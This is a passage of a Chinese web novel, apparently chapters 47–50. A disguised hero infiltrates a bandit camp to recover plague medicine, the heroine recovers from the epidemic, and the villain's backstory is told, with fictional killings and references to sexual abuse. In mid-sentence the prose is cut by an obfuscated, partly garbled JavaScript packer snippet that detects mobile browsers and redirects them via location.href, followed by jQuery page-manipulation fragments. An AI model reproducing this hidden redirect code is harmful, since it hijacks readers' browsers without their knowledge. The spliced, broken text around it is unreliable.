接着,她挥手招来一个手下,吩咐道:“老六,把这个人捆好给老大带回去,等老大玩完,就扔给姐妹们了。” “小的遵命,”名为老六的女人激动得摩拳擦掌,“多谢副寨主想着我们。” 其余的几名山匪也跟着老六喊道:“多谢副寨主!” 接着,老六迅速掏出麻绳,将方轻尘的双手反绑在身后,随手一推,方轻尘便趔趄地倒在了地上。 “啧啧,这细皮嫩肉的,瞧着倒像是哪家大户人家的相公。”有人戏谑地嘲笑道,“竟然这么倒霉,落在咱们手里。” “我愿意跟着各位英雄回去,只是求求各位英雄别抢这些药……” 副寨主柴芝闻言,嗤笑一声。 “这些药可比你值钱多了,别再做梦了,药我们抢定了。你,我们也抢了。” 方轻尘眼含泪光,扮作一副想哭却又不敢哭的模样,躲避着山匪肆意的目光。 看着眼前这个男子傅粉何郎的惑人模样,柴芝心里直痒痒,招呼其她人动作快些。 “大家动作快点儿,我们早点回寨里庆功。”她一边吩咐,一边用手摩挲着方轻尘的脸,“小公子别怕,到了寨里,你若是乖乖听话,说不定还能活得快活些。” 山匪们一阵哄笑,押着方轻尘朝青狼寨走去。 *** “老大!我们回来了!看看我们给您带回了什么好东西。”刚迈进山寨大门,柴芝就迫不及待地喊道。 寨主巫秀听到声响,眼神一亮,从虎皮椅上直起身,“看来今天收获不错啊,” “老大,你看这个小相公,”柴芝一脸得意地走上前,一手押着方轻尘,一只手强迫他抬起头,“模样长得忒俊了,这细皮嫩肉的,怕是比城里的贵人相公还精贵,想着给您带回来,好生享受享受。” 方轻尘微微瑟缩了一下,似乎被吓得不敢反抗,目光怯生生的,眼底却藏着一抹极快的幽光。 “哦?倒是个好模样的。” 巫秀缓缓走到方轻尘面前,勾起方轻尘的一缕发丝随意地玩弄着。 “你妻主怎么敢放任你一个人领队呢,也不怕你这模样惹出什么事端来。” 方轻尘低下头,小声地求饶道:“求求女侠大发慈悲,那些药是用来救命的,若非事态紧急,妻主不会让我一人带队。” “救命药?” 听到方轻尘的话,巫秀皱起眉头,认真打量着地上的箱子,久久不言,就在所有人都以为寨主要放弃这批货时,她突然发出一阵狂笑。 “越是救命的药才越值钱啊,哈哈哈,老二,看来我们又要发一笔了。” 其余的山匪也跟着哄笑起来,有人甚至吹起了口哨。 “行了,今晚上开庆功宴。至于这位小公子,”巫秀露出不怀好意的笑容,“先送去洗洗,然后捆好送到我床上。” “是!”老六第一个回应,接着便扯着方轻尘往外走去。 她一眼就被这个肤白貌美的小公子吸引了,就算不能第一个玩到,能给他洗澡也是一件美差。 老六一路上兴奋地拉着方轻尘,嘴里念叨着:“小公子,你乖点儿哈。不然你这细皮嫩肉的,打在你身,痛在我心啊。” 方轻尘踉跄地跟着她,哀求道:“这位女侠,能不能在一个没人的地方洗澡,这里人太多了……” “哟?不好意思了?那行吧,看你是个良家妇男的份儿上,这次让你在屋里洗。” 接着,老六把他扔到一个偏僻的侧房,自己则跑去溪边打水。 等老六一消失,方轻尘就掏出藏在袖子里的刀片,切断了捆绑住自己的麻绳,藏到了门后。 随着老六的脚步声响起,他屏住了呼吸,等老六进门的一瞬间,利落地将对方封喉。他悄无声息地拖着老六的尸体藏在墙角,用被褥盖住,以防止有人过早发现异常。 时间紧迫,他要赶紧找到药材存在何处。 他换上老六的外衣,将自己打扮得像是普通的山匪,随后沿着寨中的小路,快步朝水源方向走去。 趁着山匪们忙于庆功宴前的准备,他悄悄往小溪里撒入了提前准备好的蒙汗药。这药是陆映昭拿给他的,据说只要喝下一点就能晕整整六个时辰。 等一切准备就绪,他躲到了无人的地方,等待着庆功宴的开场, *** 夜晚来临,寨里的篝火燃得旺盛,山匪们围坐在长桌前,正大口吃肉、大碗喝酒,庆祝着今日的收获。 巫秀端坐于首位,眼神懒散地环视着场中狂欢的手下。柴芝则举着酒杯,与周围人推杯换盏,脸上挂着猖狂的笑容。 “老六呢,怎么不见她回来?玩过了?”有人突然问。 “对啊,老六呢?她去哪儿了 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“是那个贱-人!” 那里,正有一道迅捷的身影一跃而上,虽然此人穿着山匪的衣服,但格格不入的气质暴露了他的身份。 “让我去杀了他!”柴芝裴青厉声大喝,双目喷火。 可还未等她有所动作,一道红色的信号弹冲破夜空,炸裂成耀眼的光点,照亮了整个天空。 这一瞬间,巫秀的脸色彻底沉了下来,她知晓外面必定早已有伏兵。 果不其然,信号弹冲天而起的瞬间,远处的山道上顿时传来一阵冲锋声。 巫秀的脸色陡然阴沉到了极点。 “所有人,提刀迎敌!” 可还未等她话音未落,越来越多的山匪开始支持不住,纷纷倒地,只有极少数人因为还未吃过东西,尚能站稳。 “老二,跟我去宰了那小子!”她冷喝道,目光死死地锁定在屋檐上,一个飞身,拿着刀劈向了方轻尘。 柴芝的长鞭紧随而至,犹如毒蛇般直取方轻尘的手腕。 方轻尘反身躲开两人的攻击,灵活地在屋檐上跃动,只是手中的刀有些别扭。这刀是他从老六身上捡的,只是他并不擅长刀法,因此招式显得笨拙了些。 “啪——!” 鞭影如雷霆般闪来,鞭身上的尖刺狠狠地撕裂了方轻尘的衣袖,深深嵌入了他的皮肉之中,鲜血瞬间涌出,染红了他的衣襟。 紧接着,柴芝又用鞭子缠住了方轻尘手中的弯刀,想要扯走他的武器。方轻尘强忍着剧痛,咬紧牙关紧抓住弯刀,和对方僵持了起来。 “还挺有力气的。”柴芝冷笑,加大了手里的力气,准备给对方一个教训。 就在这时,方轻尘突然松开手中的弯刀,让她一个没站稳摔了下去。 趁她一时分神,方轻尘脚下一蹬,借着后退的力道,猛然将手中的小刀掷出—— “啊——!” 小刀刺透了柴芝的眼睛,凄厉的惨叫声回响在山寨里。 “老二!” 巫秀眼睁睁看着自己的拜把姐妹捂着眼睛在地上翻滚哀嚎,一时间杀意大起。 “你找死!!” 她怒吼一声,猛虎般扑向方轻尘,手中长刀裹挟着凌厉的风声当头劈下。 “姐姐,帮我杀了他!”柴芝挣扎着拽住方轻尘的腿,不让他脱身。 千钧一发之际,一支利箭从天而降,刺穿了巫秀持刀的手。 48. 得救 “所有人,封锁出口!活捉山匪!” 陆映昭一声令下,麾下精兵如疾风般在山林间穿梭,顷刻间便占据各个制高点和山道要塞,封死了青狼寨的所有退路。 巫秀环视四周,退路尽封,脸色陡然阴沉。她死死盯着眼前的一切,眼中闪过一抹疯狂。 “哈哈哈……你们以为赢了吗?”她低声笑着,忽然猛地握紧手中的刀,刀锋一转,对准自己的咽喉。 “我偏不随你们愿!” 刀光划破空气,方轻尘眼神一凝,趁她提刀的瞬间,猛地借着柴芝的力道腾空,一脚狠狠踹在她肩头,巫秀猝不及防,整个人被掀翻出去,重重撞在石壁上,晕厥过去。 “老大!老大!”虽然眼睛瞎了,但柴芝还是觉察出寨主情况不对,凄厉地呼唤着对方。 方轻尘听到这声音只觉得心中无比厌烦,一个手刀下去,也劈晕了柴芝。在来之前,陆映昭就嘱咐他能留活口就尽量留下活口,她还要将这伙人送去审讯。他也觉得仅凭几个山匪,很难劫持专门押送药材的队伍,其中必有蹊跷。这次潜入山寨,除了找到药材,另一个重要目的就是想办法活捉这伙山匪,问出她们的背后之人。 “方公子,你怎么样?” 控制住了所有的山匪,陆映昭才得空来关心方轻尘的情况,她从上到下来回扫视了方轻尘几眼,情况比她想象中要好不少。 “受了点小伤?让军医帮你瞧瞧吧。” “不用,我即刻护送药材去竹安县。” 陆映昭耸了耸肩,不做强求,只是若有所思地看着方轻尘忙碌的背影。 昨日,她终究是没问出方轻尘师从何人,不论她怎么问,对方都只有一句:跟着家中长辈随便练练。 可是他从山匪窝里全身而退的样子,怎么瞧都不像他所说的那样,只是随便练练。这样的身手,没有童子功是练不出来的。 他不愿意交代也无妨,陆映昭相信自己早晚能查得一清二楚。 方轻尘整理好了所有的药材,一转身,看见陆映昭死死盯着自己。他知道自己不该暴露会武的事实,只是情势所迫,为了柳忆安,他愿意承担所有的风险。 “陆将军,能否再派一小队人手助我护送药材去竹安县?再也没有可以耽误的时间了,不能再出什么意外了。” “我专门带了人来助你。”陆映昭拍了拍手,“锦绣,你带人跟着方公子走一趟。” “遵命。”一声干脆的回应从方轻尘身后响起。 方轻尘看清来人后,惊讶地瞪大了眼睛。 “锦儿姑娘?” 以往她在陆府时,总是低眉顺眼,仿佛一个普通婢女。可现在,她穿着铠甲,腰佩长刀,脸上带着冷冽的肃杀之气,没有半点当初在府中端茶倒水的样子。 “是她,她是我的副将锦绣,跟我一起回到京城,为了方便就扮作了陆府的下人,化名锦儿。”陆映昭解释道。 “方公子,大家都相处这么久了,不用我再自我介绍了吧?”锦绣笑眯眯地看着方轻尘,欣赏着对方讶异的表情。 “多谢锦绣将军,疫病紧急,辛苦各位将士跟我一起赶路。” “方公子说的这叫什么话,救百姓于水火之间是我们陆家军的使命。”说完,锦绣也不再废话,招呼下属来帮忙。为了突袭,她们将马匹都放在了山脚下,现在只能自己将箱子抬下去了。 随着锦绣将最后一个箱子放到车上,所有人都翻身上马,朝着竹安县快速行进。 *** “…就这样,女娲炼出了五色巨石,补好了天上的窟窿,从此洪水平息,全天下的人继续幸福地生活。” 竹安县的医馆内,一群小孩将柳忆安团团围住,缠着她给大伙儿讲故事听。 “柳姨姨,你能不能再讲一遍精卫填海的故事啊?”一个小女孩拽着柳忆安的衣袖撒娇道。 “精卫填海都讲了有五、六…”另一个小男孩掰着手指数道,“反正讲了好多好多遍了,换一个讲嘛。” 小女孩不服:“女娲补天也讲很多次了,你怎么还让柳姨姨讲。” “好了好了,你们快去一旁休息一会儿,也让你们的柳姨姨休息一会儿。”江廷踏进医馆的院子,将柳忆安从层层包围中解救了出来。 “柳大人,你看你现在都什么样了,怎么还由得她们闹你?”江廷走向柳忆安,眉头紧皱,眼底满是担忧。 眼前的柳忆安,已经没了初来时的精神与锐气。她坐在地铺上,背靠着围墙,脸色像纸一样苍白,额角渗着细密的冷汗。平日里挺直的脊背,此刻也微微弯着,显得无比脆弱。 “没事,这些孩子都是独自被关在医馆治病的,她们听着故事,心里就没那么害怕了,咳咳…”柳忆安为这些孩子辩解,只是她一开口,江廷就听出她嗓音里已带上了五六分的嘶哑。 “我现在无力处理太多事务,至少让我陪陪这些孩子。”柳忆安抬手揉了揉额角,轻声道。 江廷无奈地叹了口气,她此刻的心情和柳忆安一样,虽然能力有限,但还是尽可能地想为这里的百姓多做些事。 这些日子,她又联系了很多人,想办法搞到了一些赤阴藤,可数量太少,根本无法满足她们的需要。 突然,一阵急迫的脚步声传来,有人跑到了医馆门口。 “大人!大人!药材送来了!京城送来的药材到了!” 闻言,医馆里爆发出激动的讨论声。 “真的来了?!我们有救了!” “天啊,终于等到了!” 连日来的恐慌、焦虑、绝望,在这一刻终于得到了缓解,所有的病患都露出了兴奋的笑容,迫不及待地向外张望。 “柳大人,你在这里休息,我去接应药材。”江廷脚步匆匆地朝城门走去,离开前不忘叮嘱柳忆安好好休息。 看着医馆里所有人都在欢庆着药材的到来,柳忆安终于卸下了心里的重担,在众人的哄闹声中陷入沉睡。 等她再次睁开眼,发现自己躺在一个柔软的垫子上,周围的空间狭小但温暖。 “忆安,你醒了。” “方轻尘?”柳忆安揉了揉眼睛,不可置信地看着眼前的这个人,以为是自己还没睡醒,“你怎么在这?” 方轻尘坐在她床边,神色间透着一丝不易察觉的疲惫,他的衣襟上沾染了些许尘土,显然是一路风尘仆仆赶来的。他并没有回答她的问题,而是伸手探了探她的额头,指腹的温度带着微微的凉意。 “烧还没退,我去给你拿药。”方轻尘的声音里透着一丝压抑的焦急,说完便起身要去拿药。 “等……等等。”柳忆安虚弱地伸出手,拽住了他的衣袖。 方轻尘的脚步一顿,低头看向她,眼里满是担忧:“怎么了?” 柳忆安喘了口气,轻轻摇头,嗓音嘶哑:“你别在我旁边待着,别把病气过给你了。” 方轻尘一脸心疼地注视着柳忆安,轻柔地将她的手放回被子里,确保她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117085|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被棉被密不透风地包裹住。 “如今药材都送到了,就算被传了病气,也没什么好怕的了。” “可是……” “没什么可是,我先去给你拿药。”方轻尘着急拿药,不再和柳忆安拉扯,匆匆离开了这里。 柳忆安这才有心思好好观察周围,这里看上去是一个宽敞的马车厢,木质车厢里铺着一层柔软的毯子,所有的窗户都被厚厚的被子捂住,一点儿风都进不来。 她猜测这是送药的马车,经过方轻尘的改造也成了如今这样。 正想着,车门被人推开,方轻尘端着药碗走了进来。 “来,喝药。”他一手端着药碗,另一只手扶住柳忆安的肩,轻轻将她扶起,让她靠在身后的靠垫上。 柳忆安是乖乖张口,任由方轻尘一点点地将药喂下。 苦涩的药汁顺着嗓子滑下,还不等她反应,方轻尘就塞了一颗糖渍杏子到她嘴里。 “吃一颗,去去苦味。”方轻尘用轻柔的声音哄道。 柳忆安担心方轻尘被自己传染,连忙赶他离开:“药我喝完了,你赶紧离开这里吧。” 方轻尘仿佛没听到一般,坐在原地一动不动,柳忆安见状,伸出手轻推他,却被一把抓住。 方轻尘摩挲着柳忆安的手指,缓缓摇头道:“我不离开你,药材都已经送到了,就算过了病气也没什么大不了的。” 一番孩子气的话将柳忆安气笑了,为了劝方轻尘离开,她不得不放出重话:“现在大家都很忙,你若病了,会给大家添麻烦的。” 谁知方轻尘听到这句话后,不但没有离开,反而贴了过来,隔着被子搂住了柳忆安。 “我将药送了过来,就当功过相抵了吧。” 随着方轻尘的靠近,柳忆安突然闻到了一股血腥味。 “方轻尘,你受伤了?”柳忆安的声音瞬间变得严厉,她挣扎着起身,想要查看方轻尘的情况,却因为太过虚弱而晃了一下。 方轻尘见状,连忙伸手扶住她:“你别乱动,小心又烧上去了。” “你先让我看看你的伤。”柳忆安抬起头,眼神里是不容拒绝的坚定。 方轻尘微微叹了口气,无奈地松开手,缓缓挽起袖子,只见渗着血的绷带从肩膀处一直缠绕到小臂。 “这究竟是怎么一回事?这是被山匪伤的吗?你还没给我讲为什么是你送药材过来。”一个又一个问题被柳忆安抛出,砸得方轻尘无从闪躲。 思索了片刻,方轻尘觉得柳忆安现在还病着,不应忧心劳神,便随意搪塞道:“这药是从别处购来的,我只是跟着队伍一起来这里,至于这伤……是我不善骑马摔的。” 他神色自然,语气轻描淡写,仿佛真的只是偶然受了点小伤。 柳忆安缓缓点头,似乎相信了他的说辞,没有再追问什么。方轻尘见状,悄悄松了口气,心想她烧得厉害,大概无暇细想,没有留意到柳忆安眼中一闪而过的狐疑。 赤阴藤早已一药难求,他又如何能轻易购得如此多的药材?而他的伤,虽被纱布遮掩,但她方才瞥见的血渍,并不像是摔伤的模样。 她没有揭穿方轻尘的谎言,也没有逼问,只是按下心底的疑虑,打算待身体好转后,再探个究竟。 就在这时,外面突然传来两人的对话声。 “陆二爷,柳大人就在这里休息。” “多谢江大人带路,我没别的事了,你下去吧。” 是陆映川的声音。 49. 背后主使 马车的帘子被人掀开,夜风卷入一丝寒意。 陆映川站在门口,一身青色骑服,衣袍上沾着些许风尘,显然是一路急行赶来,眼底透着压抑不住的焦急。 “忆安,我听说你病了,你感觉如何?” 陆映川原本在丰陵执行阿姐安排的任务,突然接到密信,说柳忆安刚中了探花就被皇上派去了疫区,而京中送去的药材在半路被山匪劫了,陆映昭来信是让他协助查一下那伙儿山匪的背景。 他原本只当是一个普通的任务,直到他看到那句:柳染上疫病,情况紧急。 刹那间,喘的每口气都像带上了尖刺,一下下扎过他的心脏。来不及多想,他即刻起身翻身上马,连夜从从丰陵疾驰而来。 一路不眠不休地紧赶慢赶,终于在月亮第二次升起前赶到了竹安县。 好消息是,柳忆安没事。坏消息是,她依偎在另一个男子的怀里。 方轻尘听到动静,立刻回头望去,他和陆映川的目光在空气中交汇,气氛立刻变得微妙起来。 “陆映川?你怎么来了?”柳忆安怎么都没想到会在这里遇见陆映川。 陆映川转过头去,支支吾吾地回道:“我…我准备回京,路过竹安县,听说你在这,就来看看。” 因为方轻尘在场的原因,他将自己原本的关心全都咽了下去,假装自己只是不经意路过此地。 他下意识在方轻尘面前收敛了所有情绪,掩饰自己对柳忆安用情至深。他连威胁带利诱才得到对方不会妨碍自己嫁给柳忆安的承诺,在事成之前,决不能让方轻尘感觉受到威胁而反悔。 “你有心了,如果没有别的事,你就快走吧,别在这里多逗留了。”柳忆安感觉现场的气氛变得有些诡异,且担心陆映川被感染,催促他赶紧离开。 却见陆映川转身上了车,合上了帘子,完全没有要离开的意思。 “我今日累了,得休息休息再走。” “你在哪休息不好,非得在疫区休息?”柳忆安不满地皱起了眉头,“你姐姐会担心的。” “陆公子,不是赶你走,只是这里人多事杂,你若是病了,会给大家添麻烦的。”方轻尘将柳忆安方才用来催促自己离开的那句话,原封不动地照搬了来。 “如今我人都来了,若是带着疫病回了京城,麻烦才更大吧。”陆映川镇定自若地找了个空位坐下,随即闭上眼,仿佛真的是来此休息的。 见他赖着不走,柳忆安无奈地瞧了瞧方轻尘。方轻尘示意她好好休息,别在这种事情上费心。 “既然陆公子不怕得病,就随他去吧。现在你喝完药了,也该好好睡一觉了。” 方轻尘扶着柳忆安躺下,为她盖好被子,正准备抽回手,被突然被对方拉住。 “轻尘,谢谢你,这一路上辛苦了。” 简单的一声“谢谢”,却戳中了方轻尘心中最柔软的角落。他用力回握住了对方的手,温柔地望向对方的眼眸,就在他准备开口说些什么时,身后传来“咚”的一声。 “对不起,我的佩剑不小心掉地上了。” 陆映川面无表情地捡起自己的佩剑,轻轻拍了拍上面的尘土,然后再次闭上双眼。 方轻尘没再说什么,只轻抚着柳忆安的头顶,直到她沉沉睡去。 虽然治病的药已经有了,但这远远不够,只有研制出预防的药方才行。 他想帮柳忆安彻底解决这次疫病,以此得到皇上赏识。除此之外,刚好一众名医都在这里,他可以趁此机会向她们学习一下。 *** 柳忆安醒来的时候,已经是正午时分。 她的烧已经退了,除了仍然浑身虚软,其余的症状都好转了不好。 见方轻尘不在这里,她披上了外袍,准备去外面寻他。一低头,却见陆映川不知何时躺到了卧榻边。 “陆映川你醒醒,我要出去了,你到榻上休息吧。” 陆映川在听到声音的瞬间就睁开了眼睛,不知道是多年行军养成的警觉,还是根本没有睡着。 睁开眼睛的第一时间,陆映川用手背探了探柳忆安的额头,见体温降下来了,才微微松了口气。 “烧退了。”他低声说道,眼底的担忧褪去,取而代之的是一丝难得的放松。 柳忆安见他这样,顿时有些哭笑不得,“你不会守了一夜吧?” “半夜见你睡得不安稳,就来看了一下。” “那为了感谢你,这卧榻就让给你了,你去上面躺着吧。” 陆映川挑眉看着她,眼里带上了几分笑意,“你心疼我了?” 柳忆安被他这一问,倒是愣了一下,随即啧了一声,懒得理会他的揶揄,转身便往外走。 谁知陆映川反应极快,眼疾手快地拉住了她的手腕,眉头微蹙:“你才退烧,就别乱跑了,想做什么,我帮你。” “我要找方轻尘。”柳忆安答得直截了当。 陆映川眸色微微一沉,指尖不自觉地收紧了一瞬,“他还能把自己弄丢了不成?你是病人,我替你去找他。” 柳忆安没理会他,径直披上外袍,“我有事要和他说。” 陆映川盯着她的背影,眼神幽深,最终还是站起身,随意地整了整衣襟,“走吧,我陪你去找。” 方轻尘正待在药房磨药,院子里的小孩突然发出一阵欢呼声。 “柳姨姨,你什么时候继续讲故事给我们听啊。” “姨姨现在忙,等有空的时候再给你们讲故事好吗?” 听到柳忆安的声音,方轻尘连忙放下手中的石杵,出门迎接。 “你怎么过来了?” “我来看看病患的情况,大家现在怎么样了?” 一旁的江廷笑盈盈地走上来,“柳大人,换了药材后,大家的病情都好转了,不少人已经完全康复了。” “太好了,终于可以放心了。”柳忆安喜上眉梢,可转念又想到还有问题没解决。 “江大人,如今大家的病情已经控制住了,最开始的那批赤阴藤的来历有线索吗?” 提到这件事,江廷的脸色严肃了起来。 “查出了一些眉目,疫病出现之后,很多药材都不够用,这批赤阴藤是从游商手里收来的。” 游商?又是游商? 宝和客栈的商陆也是从游商手里收来的。 怎么出现问题的药材都是从游商手中收来的? 巧合如果出现得太多,那背后一定有人刻意为之。 柳家也是商贾之家,柳忆安知道游商有游商的规矩,游商虽无固定驻点,但有自己的消息网,通常会相互通风报信,不会贸然做有损名声的买卖,尤其是涉及药材这种关乎性命的生意。如今不仅一再出现问题,甚至连药材来源都模糊不清,这实在太过反常。 如今出了这么多事,柳忆安更相信是有人借着游商的名义故意使坏。 “你们有没有找到他们的身份线索?比如,她们是从哪一路来的,或者有什么特征?”柳忆安追问。 江廷叹了口气,显然也很头疼这件事,“这些游商已经不见踪迹了,没能查到她们是从何处来的。” “当时有没有留下什么票据?拿给我看一下。”陆映川听到了几人的谈话,他之前在丰陵追查的就是游商之事,没想到这里还能碰到更多线索。 江廷不敢耽搁,赶紧呈上了游商签字画押过的票据。 这一瞧,果然让陆映川瞧出了些东西。 陆映川肯定道:“这字……和之前京城里的游商字迹一样。” “这样吗?”柳忆安并不觉得意外。 从书院到京城,再到如今的竹安县,她被人陷害了一环又一环。她本觉得这是有人故意针对自己,不想让自己高中。可当她在朝堂上公然被人刁难时,她知道,这背后的水远比她想得要深。 事后,她问了陆映昭,得知在皇上面前强烈要求她前往疫区的官员是本朝的户部尚书贺双文。可她与贺双文素未谋面,不知为何一上来就被对方针对。 本来前往疫区就是件无比凶险的事,又碰到药材被劫,想来对方就是要置自己于死地。 可对方费这么大功夫,甚至不惜一城人的性命,就是为了取自己性命吗?未免有些太小题大做了吧。 究竟是谁在背后作祟…… 恍惚间,柳忆安想起了神侍让她记住的谶言—— “萧然夜雨敲心梦,暗影浮灯映旧痕。” 萧韵!花灯! 他是不是在暗示自己,是花灯一事背后的主谋是萧韵。 回想起来,一开始,确实是萧韵告诉自己赢得玉锦斋的花灯送给夫郎可以哄夫郎开心,她才去了。 难道那时她就开始设下圈套了吗? 可是究竟为什么,她和萧韵明明是多年的同窗好友,萧韵为什么要对她下此毒手? 反应上来的柳忆安,心里除了发现线索时的庆幸,更多的是失望与悲凉。 方轻尘察觉到柳忆安神情不对,低声问道:“忆安,你想到什么了吗?” 柳忆安从沉思中回过神,“有一些方向,但还不能确定,让我先理一下头绪。” *** 京城萧府后院,得到消息的萧韵正在书房暴跳如雷。 “废物,都是一群废物!早就和她们说了,拿了这一批药后要安分点,等这一阵风头过去了再说。非不听,现在被一锅端了!” 一旁的下人缩作一团,不敢说话。 “你们几个,是不是在看我笑话?” 萧韵心里的气无处发泄,举起茶杯向角落的下人砸去。 “啊!”茶杯砸到了那人的头上,鲜血立刻留了下来,她立刻跪了下来,求萧韵原谅。 “让我原谅你?谁来原谅我?从来都没人原谅我!她们都恨不得把我敲骨吸髓!” 萧韵越想越气,继续拿东西砸向那人。 “妻主!” 就在场面不可开交之时,萧韵的夫郎向景玄闯了进来。 “夫郎,你怎么来了?”见到向景玄的身影,萧韵的怒火一下就消失了,“没砸到你吧?” “我没事,”向景玄走上前,将萧韵抱在怀里,用手轻拍着她的后背以作安抚,“你别气坏了身子。” 听到对方关心的话,萧韵将头埋在他怀里,眼眶瞬间红了起来。 在这个世上,她萧韵只唯独对不起向景玄一个人。 她生来是萧家二小姐,落魄家族的二小姐,是一个非常尴尬的身份。大女儿承载所有人的期待,小女儿会获得所有人的宠爱,只有二女儿夹在中间,不上不下,什么都没有。 母亲一直强调,家里的一切都只会是她大姐的,其她人不要妄想些不属于自己的东西,要一心一意地扶持大姐。母亲为大姐找到一个身份尊贵的男子做夫郎,花了重金去提亲。等轮到自己时,母亲却说家里的钱所剩无几,没什么钱为她娶亲了,让她放低姿态,从普通人家随意找一个 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“妻主真的太厉害了,我就知道你可以的,嫁给妻主是我最正确的决定。” 她所有不被家里看到的失落,都被向景玄小心翼翼地拾起,珍而重之地安放在心上。 这个世界上,总算有一个人愿意认同自己了。 向景玄就像是一个太阳,驱散了她所有的阴霾。 可这样温暖的太阳,她最后也没有守住。 她永远不会忘记那一天,母亲兴高采烈地回到家里,当着众人的面宣布,她终于攀到了远方的皇室亲戚,家里从此可以飞黄腾达。 她还来不及高兴,母亲就又宣布道:“当然,我们也得付出一些代价。不过相比整个家族的兴盛,这些代价可以说是微不足道了。” 萧韵万万没想到,母亲所谓的代价,就是将向景玄献给那些权贵,以满足她们变态的嗜好,也让她们抓住萧家的把柄,从此对萧家放心。 “母亲,求求你放过向郎,女儿也可以为家里挣来荣耀,求求您放过向郎。” 直到额头磕出了血迹,母亲才愿意放他一马。 “这样吧,此次乡试,你要是考得榜首,中得解元,让那些权贵看到我们家的价值,就不用折腾你夫郎了。” “女儿一定做到,多谢母亲。” 她拼了命的读书,一天只睡两个时辰,所有的经典都倒背如流,她不相信别人可以比自己做得更好。 可很多事,不是努力了就能如愿以偿。 那年的乡试,解元被同书院的柳忆安拿下,不仅如此,她还是本朝最年轻的举人。 和柳忆安相比,自己的努力就像个笑话。 母亲没有留情,她不顾自己的阻拦,命人将向景玄捆绑住,扔给了那些权贵。 她愤怒地质问母亲,为什么是自己的夫郎,为什么大姐的夫郎就可以独善其身。 母亲却用看傻子一般的目光看着她,冷冷地说道:“你大姐在朝为官,背负着整个家族的使命,你难道让她的夫郎坏了名声吗?” “那我呢?我夫郎的名声就不要紧吗?母亲,我和大姐姐都是您的孩子,您为什么不能疼疼我呢,你只要疼我一点点就好,为什么连那一点点都不给我呢?” “你在这胡闹些什么?我本还以为你是个懂事孩子,不过是个男人罢了,等家里发达了,再多为你纳上几房就是。你为了一个男人对着自己的母亲大喊大叫,真是不成体统,罚你在这里跪上一夜。” 那一晚,向景玄一夜没有回来,萧韵也跪了整整一夜。 第二日,向景玄是被人抬回来的,他全身布满红色的印记,显然受了一夜的折磨。 萧韵颤抖地握住他的手,眼泪止不住地落下,她想要说点什么来安慰向景玄,可声音颤抖到说不出一句完整的话。 “韵儿,别哭……我没事,你别哭……” 向景玄努力为她擦掉眼泪,嘴里哼着云州城男子表白时最爱唱的歌谣—— “阿娘笑问闺中郎,心上人儿在何方。少年低头掩红晕,心上人儿在身旁。” 那一日起,萧韵恨上了除向景玄以外的所有人。 她恨母亲的冷漠无情,恨这个家族的虚伪,恨自己拼尽全力,却仍然敌不过那所谓的出身和利益。 她必须往上爬,爬到权势的最顶层,让所有人都只能仰望自己。 她不能让向景玄牺牲得到的资源只为大姐一个人所用,她才是最应该从中受益的人。 她想尽办法让那个身居高位的人看到了自己,然后得到了她的信任,成了那人手中好用的一把刀。 如今,她终于弥补了当初的遗憾,考得了状元。在这样的光环下,母亲终于愿意服软,向景玄终于不会因为自己而受苦了。 自己苦苦谋求的东西如今终于窥得一角,可偏偏就在这时,任务却频频出现岔子。 主上本想通过这次疫病炒高药价,狠狠赚上一笔。这也是她考上状元后接到的第一个任务,她明明安排得很好,京城运送药材的队伍是自己人,山匪也是自己人,山匪手里的药马上就要被运走了,怎么偏偏在这个节骨眼出了岔子。 柳忆安……柳忆安…… 这个名字仿佛魔咒一般,任何事,只要沾上了这个人的名字,就不会顺利。 柳忆安……凭什么所有人都看重你,所有人都爱你…… 我萧韵偏要试一试,看你究竟有什么能耐。 50. 祈愿 经过多日的努力,疫病终于告一段落,竹安县又恢复到了往日的平静。 大部分的患者已经康复,只剩少部分身子虚弱的人还留在医馆。同时,方轻尘和几位太医经过一段时间的讨论,找到了一个预防疫病的方子,没染过疫病的人也不用再担惊受怕。 疫病给竹安县百姓带来的阴霾终于彻底消散。 见此事终于了结,柳忆安找到了江廷,向她表示自己准备回京的打算。 “柳大人,你再多待几日吧,”江廷面露难色,纠结该不该透露大家的计划,犹豫了一瞬间,还是决定坦白,“那日害你染病的那个男子,心中愧疚,他组织大伙儿为你准备了一个谢宴,想来就在下周了。你要是提前离开,大家会失望的。” 柳忆安得知了大家的心意,不忍拒绝,“既然如此,那我下周再离开吧。” 回住处的路上,听着竹安县的街道上再次响起的吆喝声,看到孩子们在大榕树下嬉戏打闹着,柳忆安心里寻到了一丝久违的平静。她想起了自己参加的科考的初衷,就是为了守护一方水土的平静与祥和,就像眼前这般景象一般。 柳忆安找到了一个角落坐下,静静地看着孩子们打闹的身影,听着老人在一旁唠着家长里短,直到夕阳西下时,陆映川找到了她。 “我去县衙找你,江廷说你早就离开了。怎么在这里坐着,身体又不舒服了吗?” “我身子没事,倒是你,来找我有什么事吗?” “阿姐来信催我回京了,我来问你要不要和我一起回去。” 除此之外,他还想和柳忆安在一起多待一会儿,只是陆映川不好意思将这个想法说出口。 “我暂时还不能离开,估计下周才能回京呢。你在这里也确实待得够久了,也是时候回京了。” 陆映川当初说要在这里歇息的时候,柳忆安还以为不过一两晚而已,结果他一待就是一周有余。 “那好吧,”陆映川心里不舍,但军令在前,他必须回去,“我在陆府等你。” *** 翌日清晨,柳忆安将陆映川送出了城,临别时,陆映川想问问柳忆安对自己的看法,但怕问得太过突兀吓到对方,也害怕得到一个自己不想听到的答案,思索再三,什么都没问出口。 柳忆安见他神色复杂地看着自己,还以为自己哪里惹到了他,心里发慌,默默往后退了两步。 结果陆映川的脸色更阴沉了。 “你路上小心啊,记得替我向你姐姐问好,回京后我就去陆府寻你。”柳忆安轻声叮嘱道。 听到此话,陆映川的神色终于放松了下来,似乎对柳忆安的话很满意。 “记得照顾好自己,别再让我…别人担心了。我走了,你回去吧。”说完,陆映川就纵马离开了。 送走了陆映川,柳忆安想去找方轻尘,便径直往药馆走去。 